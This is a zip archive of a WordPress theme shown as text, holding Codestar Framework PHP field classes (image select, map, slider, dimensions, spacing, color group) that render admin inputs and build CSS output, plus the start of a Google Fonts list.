        add_action( 'wp_enqueue_scripts', array( $this, 'collect_output_css_and_typography' ), 10 );
        CSF::$css = apply_filters( "csf_{$this->unique}_output_css", CSF::$css, $this );
      }

    }

    public function collect_output_css_and_typography() {
      $this->recursive_output_css( $this->pre_fields );
    }

    public function recursive_output_css( $fields = array(), $combine_field = array() ) {

      if ( ! empty( $fields ) ) {

        foreach ( $fields as $field ) {

          $field_id     = ( ! empty( $field['id'] ) ) ? $field['id'] : '';
          $field_type   = ( ! empty( $field['type'] ) ) ? $field['type'] : '';
          $field_output = ( ! empty( $field['output'] ) ) ? $field['output'] : '';
          $field_check  = ( $field_type === 'typography' || $field_output ) ? true : false;
          $field_class  = 'CSF_Field_' . $field_type;

          if ( $field_type && $field_id ) {


            if( $field_type === 'fieldset' ) {
              if ( ! empty( $field['fields'] ) ) {
                $this->recursive_output_css( $field['fields'], $field );
              }
            }

            if( $field_type === 'accordion' ) {
              if ( ! empty( $field['accordions'] ) ) {
                foreach ( $field['accordions'] as $accordion ) {
                  $this->recursive_output_css( $accordion['fields'], $field );
                }
              }
            }

            if( $field_type === 'tabbed' ) {
              if ( ! empty( $field['tabs'] ) ) {
                foreach ( $field['tabs'] as $accordion ) {
                  $this->recursive_output_css( $accordion['fields'], $field );
                }
              }
            }

            if ( class_exists( $field_class ) ) {

              if ( method_exists( $field_class, 'output' ) || method_exists( $field_class, 'enqueue_google_fonts' ) ) {

                $field_value = '';

                if ( $field_check && ( $this->abstract === 'options' || $this->abstract === 'customize' ) ) {

                  if( ! empty( $combine_field ) ) {

                    $field_value = ( isset( $this->options[$combine_field['id']][$field_id] ) ) ? $this->options[$combine_field['id']][$field_id] : '';

                  } else {

                    $field_value = ( isset( $this->options[$field_id] ) ) ? $this->options[$field_id] : '';

                  }

                } else if ( $field_check && ( $this->abstract === 'metabox' && is_singular() || $this->abstract === 'taxonomy' && is_archive() ) ) {

                  if( ! empty( $combine_field ) ) {

                    $meta_value  = $this->get_meta_value( $combine_field );
                    $field_value = ( isset( $meta_value[$field_id] ) ) ? $meta_value[$field_id] : '';

                  } else {

                    $meta_value  = $this->get_meta_value( $field );
                    $field_value = ( isset( $meta_value ) ) ? $meta_value : '';

                  }

                }

                $instance = new $field_class( $field, $field_value, $this->unique, 'wp/enqueue', $this );

                // typography enqueue and embed google web fonts
                if ( $field_type === 'typography' && $this->args['enqueue_webfont'] && ! empty( $field_value['font-family'] ) ) {

                  $method = ( ! empty( $this->args['async_webfont'] ) ) ? 'async' : 'enqueue';

                  $instance->enqueue_google_fonts( $method );

                }

                // output css
                if ( $field_output && $this->args['output_css'] ) {
                  CSF::$css .= $instance->output();
                }

                unset( $instance );

              }

            }

          }

        }

      }

    }

    public function pre_tabs( $sections ) {

      $count   = 100;
      $result  = array();
      $parents = array();

      foreach ( $sections as $key => $section ) {
        if ( ! empty( $section['parent'] ) ) {
          $section['priority'] = ( isset( $section['priority'] ) ) ? $section['priority'] : $count;
          $parents[$section['parent']][] = $section;
          unset( $sections[$key] );
        }
        $count++;
      }

      foreach ( $sections as $key => $section ) {
        $section['priority'] = ( isset( $section['priority'] ) ) ? $section['priority'] : $count;
        if ( ! empty( $section['id'] ) && ! empty( $parents[$section['id']] ) ) {
          $section['subs'] = wp_list_sort( $parents[$section['id']], array( 'priority' => 'ASC' ), 'ASC', true );
        }
        $result[] = $section;
        $count++;
      }

      return wp_list_sort( $result, array( 'priority' => 'ASC' ), 'ASC', true );

    }

    public function pre_sections( $sections ) {

      $result = array();

      foreach ( $this->pre_tabs( $sections ) as $section ) {
        if ( ! empty( $section['subs'] ) ) {
          foreach ( $section['subs'] as $sub ) {
            $sub['ptitle'] = ( ! empty( $section['title'] ) ) ? $section['title'] : '';
            $result[] = $sub;
          }
        }
        if ( empty( $section['subs'] ) ) {
          $result[] = $section;
        }
      }

      return $result;
    }

    public function pre_fields( $sections ) {

      $result = array();

      foreach ( $sections as $key => $section ) {
        if ( ! empty( $section['fields'] ) ) {
          foreach ( $section['fields'] as $field ) {
            $result[] = $field;
          }
        }
      }

      return $result;
    }

  }
}
PK     N\
o	  	  :  inc/options/framework/fields/image_select/image_select.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: image_select
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_image_select' ) ) {
  class CSF_Field_image_select extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'multiple' => false,
        'inline'   => false,
        'options'  => array(),
      ) );

      $inline = ( $args['inline'] ) ? ' csf--inline-list' : '';

      $value = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );

      echo $this->field_before();

      if ( ! empty( $args['options'] ) ) {

        echo '<div class="csf-siblings csf--image-group'. esc_attr( $inline ) .'" data-multiple="'. esc_attr( $args['multiple'] ) .'">';

        $num = 1;

        foreach ( $args['options'] as $key => $option ) {

          $type    = ( $args['multiple'] ) ? 'checkbox' : 'radio';
          $extra   = ( $args['multiple'] ) ? '[]' : '';
          $active  = ( in_array( $key, $value ) ) ? ' csf--active' : '';
          $checked = ( in_array( $key, $value ) ) ? ' checked' : '';

          echo '<div class="csf--sibling csf--image'. esc_attr( $active ) .'">';
            echo '<figure>';
              echo '<img src="'. esc_url( $option ) .'" alt="img-'. esc_attr( $num++ ) .'" />';
              echo '<input type="'. esc_attr( $type ) .'" name="'. esc_attr( $this->field_name( $extra ) ) .'" value="'. esc_attr( $key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
            echo '</figure>';
          echo '</div>';

        }

        echo '</div>';

      }

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $bg_image  = array();
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $elements  = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        $output = $elements .'{background-image:url('. $this->value .')'. $important .';}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\H9    (  inc/options/framework/fields/map/map.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: map
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_map' ) ) {
  class CSF_Field_map extends CSF_Fields {

    public $version = '1.9.2';
    public $cdn_url = 'https://cdn.jsdelivr.net/npm/leaflet@';

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args              = wp_parse_args( $this->field, array(
        'placeholder'    => esc_html__( 'Search...', 'csf' ),
        'latitude_text'  => esc_html__( 'Latitude', 'csf' ),
        'longitude_text' => esc_html__( 'Longitude', 'csf' ),
        'address_field'  => '',
        'height'         => '',
      ) );

      $value             = wp_parse_args( $this->value, array(
        'address'        => '',
        'latitude'       => '20',
        'longitude'      => '0',
        'zoom'           => '2',
      ) );

      $default_settings   = array(
        'center'          => array( $value['latitude'], $value['longitude'] ),
        'zoom'            => $value['zoom'],
        'scrollWheelZoom' => false,
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();
      $settings = wp_parse_args( $settings, $default_settings );

      $style_attr  = ( ! empty( $args['height'] ) ) ? ' style="min-height:'. esc_attr( $args['height'] ) .';"' : '';
      $placeholder = ( ! empty( $args['placeholder'] ) ) ? array( 'placeholder' => $args['placeholder'] ) : '';

      echo $this->field_before();

      if ( empty( $args['address_field'] ) ) {
        echo '<div class="csf--map-search">';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[address]' ) ) .'" value="'. esc_attr( $value['address'] ) .'"'. $this->field_attributes( $placeholder ) .' />';
        echo '</div>';
      } else {
        echo '<div class="csf--address-field" data-address-field="'. esc_attr( $args['address_field'] ) .'"></div>';
      }

      echo '<div class="csf--map-osm-wrap"><div class="csf--map-osm" data-map="'. esc_attr( json_encode( $settings ) ) .'"'. $style_attr .'></div></div>';

      echo '<div class="csf--map-inputs">';

        echo '<div class="csf--map-input">';
        echo '<label>'. esc_attr( $args['latitude_text'] ) .'</label>';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[latitude]' ) ) .'" value="'. esc_attr( $value['latitude'] ) .'" class="csf--latitude" />';
        echo '</div>';

        echo '<div class="csf--map-input">';
        echo '<label>'. esc_attr( $args['longitude_text'] ) .'</label>';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[longitude]' ) ) .'" value="'. esc_attr( $value['longitude'] ) .'" class="csf--longitude" />';
        echo '</div>';

      echo '</div>';

      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[zoom]' ) ) .'" value="'. esc_attr( $value['zoom'] ) .'" class="csf--zoom" />';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'csf-leaflet' ) ) {
        wp_enqueue_script( 'csf-leaflet', esc_url( $this->cdn_url . $this->version .'/dist/leaflet.js' ), array( 'csf' ), $this->version, true );
      }

      if ( ! wp_style_is( 'csf-leaflet' ) ) {
        wp_enqueue_style( 'csf-leaflet', esc_url( $this->cdn_url . $this->version .'/dist/leaflet.css' ), array(), $this->version );
      }

      if ( ! wp_script_is( 'jquery-ui-autocomplete' ) ) {
        wp_enqueue_script( 'jquery-ui-autocomplete' );
      }

    }

  }
}
PK     N\h6
  
  .  inc/options/framework/fields/slider/slider.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: slider
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_slider' ) ) {
  class CSF_Field_slider extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'  => 100,
        'min'  => 0,
        'step' => 1,
        'unit' => '',
      ) );

      $is_unit = ( ! empty( $args['unit'] ) ) ? ' csf--is-unit' : '';

      echo $this->field_before();

      echo '<div class="csf--wrap">';
      echo '<div class="csf-slider-ui"></div>';
      echo '<div class="csf--input">';
      echo '<input type="number" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes( array( 'class' => 'csf-input-number'. esc_attr( $is_unit ) ) ) .' data-min="'. esc_attr( $args['min'] ) .'" data-max="'. esc_attr( $args['max'] ) .'" data-step="'. esc_attr( $args['step'] ) .'" step="any" />';
      echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
      echo '</div>';
      echo '</div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-slider' ) ) {
        wp_enqueue_script( 'jquery-ui-slider' );
      }

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'width';
      $unit      = ( ! empty( $this->field['unit'] ) ) ? $this->field['unit'] : 'px';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            if ( $mode ) {
              $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $unit . $important .';}';
            }
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $unit . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\0AT|  |  6  inc/options/framework/fields/dimensions/dimensions.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: dimensions
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_dimensions' ) ) {
  class CSF_Field_dimensions extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'width_icon'         => '<i class="fas fa-arrows-alt-h"></i>',
        'height_icon'        => '<i class="fas fa-arrows-alt-v"></i>',
        'width_placeholder'  => esc_html__( 'width', 'csf' ),
        'height_placeholder' => esc_html__( 'height', 'csf' ),
        'width'              => true,
        'height'             => true,
        'unit'               => true,
        'show_units'         => true,
        'units'              => array( 'px', '%', 'em' )
      ) );

      $default_values = array(
        'width'  => '',
        'height' => '',
        'unit'   => 'px',
      );

      $value   = wp_parse_args( $this->value, $default_values );
      $unit    = ( count( $args['units'] ) === 1 && ! empty( $args['unit'] ) ) ? $args['units'][0] : '';
      $is_unit = ( ! empty( $unit ) ) ? ' csf--is-unit' : '';

      echo $this->field_before();

      echo '<div class="csf--inputs" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      if ( ! empty( $args['width'] ) ) {
        $placeholder = ( ! empty( $args['width_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['width_placeholder'] ) .'"' : '';
        echo '<div class="csf--input">';
        echo ( ! empty( $args['width_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['width_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[width]' ) ) .'" value="'. esc_attr( $value['width'] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
        echo ( ! empty( $unit ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
        echo '</div>';
      }

      if ( ! empty( $args['height'] ) ) {
        $placeholder = ( ! empty( $args['height_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['height_placeholder'] ) .'"' : '';
        echo '<div class="csf--input">';
        echo ( ! empty( $args['height_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['height_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[height]' ) ) .'" value="'. esc_attr( $value['height'] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
        echo ( ! empty( $unit ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
        echo '</div>';
      }

      if ( ! empty( $args['unit'] ) && ! empty( $args['show_units'] ) && count( $args['units'] ) > 1 ) {
        echo '<div class="csf--input">';
        echo '<select name="'. esc_attr( $this->field_name( '[unit]' ) ) .'">';
        foreach ( $args['units'] as $unit ) {
          $selected = ( $value['unit'] === $unit ) ? ' selected' : '';
          echo '<option value="'. esc_attr( $unit ) .'"'. esc_attr( $selected ) .'>'. esc_attr( $unit ) .'</option>';
        }
        echo '</select>';
        echo '</div>';
      }

      echo '</div>';

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];
      $prefix    = ( ! empty( $this->field['output_prefix'] ) ) ? $this->field['output_prefix'] .'-' : '';
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $unit      = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';
      $width     = ( isset( $this->value['width'] ) && $this->value['width'] !== '' ) ? $prefix .'width:'. $this->value['width'] . $unit . $important .';' : '';
      $height    = ( isset( $this->value['height'] ) && $this->value['height'] !== '' ) ? $prefix .'height:'. $this->value['height'] . $unit . $important .';' : '';

      if ( $width !== '' || $height !== '' ) {
        $output = $element .'{'. $width . $height .'}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\|    0  inc/options/framework/fields/spacing/spacing.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: spacing
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_spacing' ) ) {
  class CSF_Field_spacing extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'top_icon'           => '<i class="fas fa-long-arrow-alt-up"></i>',
        'right_icon'         => '<i class="fas fa-long-arrow-alt-right"></i>',
        'bottom_icon'        => '<i class="fas fa-long-arrow-alt-down"></i>',
        'left_icon'          => '<i class="fas fa-long-arrow-alt-left"></i>',
        'all_icon'           => '<i class="fas fa-arrows-alt"></i>',
        'top_placeholder'    => esc_html__( 'top', 'csf' ),
        'right_placeholder'  => esc_html__( 'right', 'csf' ),
        'bottom_placeholder' => esc_html__( 'bottom', 'csf' ),
        'left_placeholder'   => esc_html__( 'left', 'csf' ),
        'all_placeholder'    => esc_html__( 'all', 'csf' ),
        'top'                => true,
        'left'               => true,
        'bottom'             => true,
        'right'              => true,
        'unit'               => true,
        'show_units'         => true,
        'all'                => false,
        'units'              => array( 'px', '%', 'em' )
      ) );

      $default_values = array(
        'top'    => '',
        'right'  => '',
        'bottom' => '',
        'left'   => '',
        'all'    => '',
        'unit'   => 'px',
      );

      $value   = wp_parse_args( $this->value, $default_values );
      $unit    = ( count( $args['units'] ) === 1 && ! empty( $args['unit'] ) ) ? $args['units'][0] : '';
      $is_unit = ( ! empty( $unit ) ) ? ' csf--is-unit' : '';

      echo $this->field_before();

      echo '<div class="csf--inputs" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      if ( ! empty( $args['all'] ) ) {

        $placeholder = ( ! empty( $args['all_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['all_placeholder'] ) .'"' : '';

        echo '<div class="csf--input">';
        echo ( ! empty( $args['all_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['all_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[all]' ) ) .'" value="'. esc_attr( $value['all'] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
        echo ( $unit ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
        echo '</div>';

      } else {

        $properties = array();

        foreach ( array( 'top', 'right', 'bottom', 'left' ) as $prop ) {
          if ( ! empty( $args[$prop] ) ) {
            $properties[] = $prop;
          }
        }

        $properties = ( $properties === array( 'right', 'left' ) ) ? array_reverse( $properties ) : $properties;

        foreach ( $properties as $property ) {

          $placeholder = ( ! empty( $args[$property.'_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args[$property.'_placeholder'] ) .'"' : '';

          echo '<div class="csf--input">';
          echo ( ! empty( $args[$property.'_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args[$property.'_icon'] .'</span>' : '';
          echo '<input type="number" name="'. esc_attr( $this->field_name( '['. $property .']' ) ) .'" value="'. esc_attr( $value[$property] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
          echo ( $unit ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
          echo '</div>';

        }

      }

      if ( ! empty( $args['unit'] ) && ! empty( $args['show_units'] ) && count( $args['units'] ) > 1 ) {
        echo '<div class="csf--input">';
        echo '<select name="'. esc_attr( $this->field_name( '[unit]' ) ) .'">';
        foreach ( $args['units'] as $unit ) {
          $selected = ( $value['unit'] === $unit ) ? ' selected' : '';
          echo '<option value="'. esc_attr( $unit ) .'"'. esc_attr( $selected ) .'>'. esc_attr( $unit ) .'</option>';
        }
        echo '</select>';
        echo '</div>';
      }

      echo '</div>';

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $unit      = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';

      $mode = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'padding';

      if ( $mode === 'border-radius' || $mode === 'radius' ) {

        $top    = 'border-top-left-radius';
        $right  = 'border-top-right-radius';
        $bottom = 'border-bottom-right-radius';
        $left   = 'border-bottom-left-radius';

      } else if ( $mode === 'relative' || $mode === 'absolute' || $mode === 'none' ) {

        $top    = 'top';
        $right  = 'right';
        $bottom = 'bottom';
        $left   = 'left';

      } else {

        $top    = $mode .'-top';
        $right  = $mode .'-right';
        $bottom = $mode .'-bottom';
        $left   = $mode .'-left';

      }

      if ( ! empty( $this->field['all'] ) && isset( $this->value['all'] ) && $this->value['all'] !== '' ) {

        $output  = $element .'{';
        $output .= $top    .':'. $this->value['all'] . $unit . $important .';';
        $output .= $right  .':'. $this->value['all'] . $unit . $important .';';
        $output .= $bottom .':'. $this->value['all'] . $unit . $important .';';
        $output .= $left   .':'. $this->value['all'] . $unit . $important .';';
        $output .= '}';

      } else {

        $top    = ( isset( $this->value['top']    ) && $this->value['top']    !== '' ) ? $top    .':'. $this->value['top']    . $unit . $important .';' : '';
        $right  = ( isset( $this->value['right']  ) && $this->value['right']  !== '' ) ? $right  .':'. $this->value['right']  . $unit . $important .';' : '';
        $bottom = ( isset( $this->value['bottom'] ) && $this->value['bottom'] !== '' ) ? $bottom .':'. $this->value['bottom'] . $unit . $important .';' : '';
        $left   = ( isset( $this->value['left']   ) && $this->value['left']   !== '' ) ? $left   .':'. $this->value['left']   . $unit . $important .';' : '';

        if ( $top !== '' || $right !== '' || $bottom !== '' || $left !== '' ) {
          $output = $element .'{'. $top . $right . $bottom . $left .'}';
        }

      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\OZ2.  .  8  inc/options/framework/fields/color_group/color_group.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: color_group
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_color_group' ) ) {
  class CSF_Field_color_group extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $options = ( ! empty( $this->field['options'] ) ) ? $this->field['options'] : array();

      echo $this->field_before();

      if ( ! empty( $options ) ) {
        foreach ( $options as $key => $option ) {

          $color_value  = ( ! empty( $this->value[$key] ) ) ? $this->value[$key] : '';
          $default_attr = ( ! empty( $this->field['default'][$key] ) ) ? ' data-default-color="'. esc_attr( $this->field['default'][$key] ) .'"' : '';

          echo '<div class="csf--left csf-field-color">';
          echo '<div class="csf--title">'. $option .'</div>';
          echo '<input type="text" name="'. esc_attr( $this->field_name( '['. $key .']' ) ) .'" value="'. esc_attr( $color_value ) .'" class="csf-color"'. $default_attr . $this->field_attributes() .'/>';
          echo '</div>';

        }
      }

      echo $this->field_after();

    }

  }
}
PK     N\^ǔ  8  inc/options/framework/fields/typography/google-fonts.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.

if ( ! function_exists( 'csf_get_google_fonts' ) ) {
  function csf_get_google_fonts() {
    return [
      'ABeeZee'=>[['normal','italic'],['latin','latin-ext']],
      'Abel'=>[['normal'],['latin']],
      'Abhaya Libre'=>[['normal','500','600','700','800'],['latin','latin-ext','sinhala']],
      'Aboreto'=>[['normal'],['latin','latin-ext']],
      'Abril Fatface'=>[['normal'],['latin','latin-ext']],
      'Abyssinica SIL'=>[['normal'],['ethiopic','latin','latin-ext']],
      'Aclonica'=>[['normal'],['latin']],
      'Acme'=>[['normal'],['latin']],
      'Actor'=>[['normal'],['latin']],
      'Adamina'=>[['normal'],['latin']],
      'Advent Pro'=>[['100','200','300','normal','500','600','700'],['greek','latin','latin-ext']],
      'Aguafina Script'=>[['normal'],['latin','latin-ext']],
      'Akaya Kanadaka'=>[['normal'],['kannada','latin','latin-ext']],
      'Akaya Telivigala'=>[['normal'],['latin','latin-ext','telugu']],
      'Akronim'=>[['normal'],['latin','latin-ext']],
      'Akshar'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Aladin'=>[['normal'],['latin','latin-ext']],
      'Alata'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Alatsi'=>[['normal'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Albert Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Aldrich'=>[['normal'],['latin']],
      'Alef'=>[['normal','700'],['hebrew','latin']],
      'Alegreya'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Alegreya SC'=>[['normal','italic','500','500italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Alegreya Sans'=>[['100','100italic','300','300italic','normal','italic','500','500italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Alegreya Sans SC'=>[['100','100italic','300','300italic','normal','italic','500','500italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Aleo'=>[['300','300italic','normal','italic','700','700italic'],['latin','latin-ext']],
      'Alex Brush'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Alexandria'=>[['100','200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext','vietnamese']],
      'Alfa Slab One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Alice'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Alike'=>[['normal'],['latin']],
      'Alike Angular'=>[['normal'],['latin']],
      'Alkalami'=>[['normal'],['arabic','latin','latin-ext']],
      'Allan'=>[['normal','700'],['latin','latin-ext']],
      'Allerta'=>[['normal'],['latin']],
      'Allerta Stencil'=>[['normal'],['latin']],
      'Allison'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Allura'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Almarai'=>[['300','normal','700','800'],['arabic']],
      'Almendra'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Almendra Display'=>[['normal'],['latin','latin-ext']],
      'Almendra SC'=>[['normal'],['latin']],
      'Alumni Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Alumni Sans Collegiate One'=>[['normal','italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Alumni Sans Inline One'=>[['normal','italic'],['latin','latin-ext','vietnamese']],
      'Alumni Sans Pinstripe'=>[['normal','italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Amarante'=>[['normal'],['latin','latin-ext']],
      'Amaranth'=>[['normal','italic','700','700italic'],['latin']],
      'Amatic SC'=>[['normal','700'],['cyrillic','hebrew','latin','latin-ext','vietnamese']],
      'Amethysta'=>[['normal'],['latin']],
      'Amiko'=>[['normal','600','700'],['devanagari','latin','latin-ext']],
      'Amiri'=>[['normal','italic','700','700italic'],['arabic','latin','latin-ext']],
      'Amiri Quran'=>[['normal'],['arabic','latin']],
      'Amita'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Anaheim'=>[['normal'],['latin','latin-ext']],
      'Andada Pro'=>[['normal','500','600','700','800','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Andika'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Anek Bangla'=>[['100','200','300','normal','500','600','700','800'],['bengali','latin','latin-ext']],
      'Anek Devanagari'=>[['100','200','300','normal','500','600','700','800'],['devanagari','latin','latin-ext']],
      'Anek Gujarati'=>[['100','200','300','normal','500','600','700','800'],['gujarati','latin','latin-ext']],
      'Anek Gurmukhi'=>[['100','200','300','normal','500','600','700','800'],['gurmukhi','latin','latin-ext']],
      'Anek Kannada'=>[['100','200','300','normal','500','600','700','800'],['kannada','latin','latin-ext']],
      'Anek Latin'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'Anek Malayalam'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','malayalam']],
      'Anek Odia'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','oriya']],
      'Anek Tamil'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','tamil']],
      'Anek Telugu'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','telugu']],
      'Angkor'=>[['normal'],['khmer','latin']],
      'Annie Use Your Telescope'=>[['normal'],['latin']],
      'Anonymous Pro'=>[['normal','italic','700','700italic'],['cyrillic','greek','latin','latin-ext']],
      'Antic'=>[['normal'],['latin']],
      'Antic Didone'=>[['normal'],['latin']],
      'Antic Slab'=>[['normal'],['latin']],
      'Anton'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Antonio'=>[['100','200','300','normal','500','600','700'],['latin','latin-ext']],
      'Anybody'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Arapey'=>[['normal','italic'],['latin']],
      'Arbutus'=>[['normal'],['latin','latin-ext']],
      'Arbutus Slab'=>[['normal'],['latin','latin-ext']],
      'Architects Daughter'=>[['normal'],['latin']],
